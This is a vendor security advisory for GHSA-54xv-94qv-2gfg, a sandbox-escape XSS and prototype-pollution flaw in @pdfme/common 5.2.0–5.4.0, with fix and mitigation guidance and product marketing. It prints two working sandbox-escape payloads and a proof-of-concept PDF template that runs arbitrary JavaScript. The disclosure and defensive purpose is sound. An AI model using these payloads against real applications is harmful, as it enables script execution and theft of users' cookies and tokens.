GHSA-54xv-94qv-2gfg is a medium-severity (CVSS 6.1) Cross-site Scripting (XSS) vulnerability in @pdfme/common. O3 Security confirms whether GHSA-54xv-94qv-2gfg is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
@pdfme/common vulnerable to to XSS and Prototype Pollution through its expression evaluation
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
@pdfme/commonnpmDescription
Summary
The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.
Details
1. Sandbox Escape Leading to XSS
The expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:
// Attack vector 1: Using Object.getOwnPropertyDescriptor
{ ((f, g) => f(g(Object), "constructor").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)("alert(location)")() }
// Attack vector 2: Using object property access
{ { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), "constructor").value("alert(location)")() }
Both payloads bypass the sandbox restrictions and execute Function("alert(location)")().
2. Prototype Pollution
The expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain:
__lookupGetter____lookupSetter____defineGetter____defineSetter__
Impact
These vulnerabilities allow attackers to:
- Execute arbitrary JavaScript code in the context of the application
- Steal sensitive information including cookies and tokens
- Modify application behavior through prototype pollution
- Potentially perform actions on behalf of users
Proof of Concept
Loading the following template in pdfme triggers alert(location):
{
"schemas": [[{
"name": "field1",
"type": "text",
"content": "{ ((f, g) => f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }",
"position": { "x": 0, "y": 0 },
"width": 100,
"height": 100
}]],
"basePdf": { "width": 100, "height": 100 },
"pdfmeVersion": "5.4.0"
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @pdfme/common | ≥ 5.2.0&&< 5.4.1 | 5.4.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @pdfme/common. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @pdfme/common to 5.4.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-54xv-94qv-2gfg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-54xv-94qv-2gfg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-54xv-94qv-2gfg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-54xv-94qv-2gfg in your dependencies?
O3 detects GHSA-54xv-94qv-2gfg across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.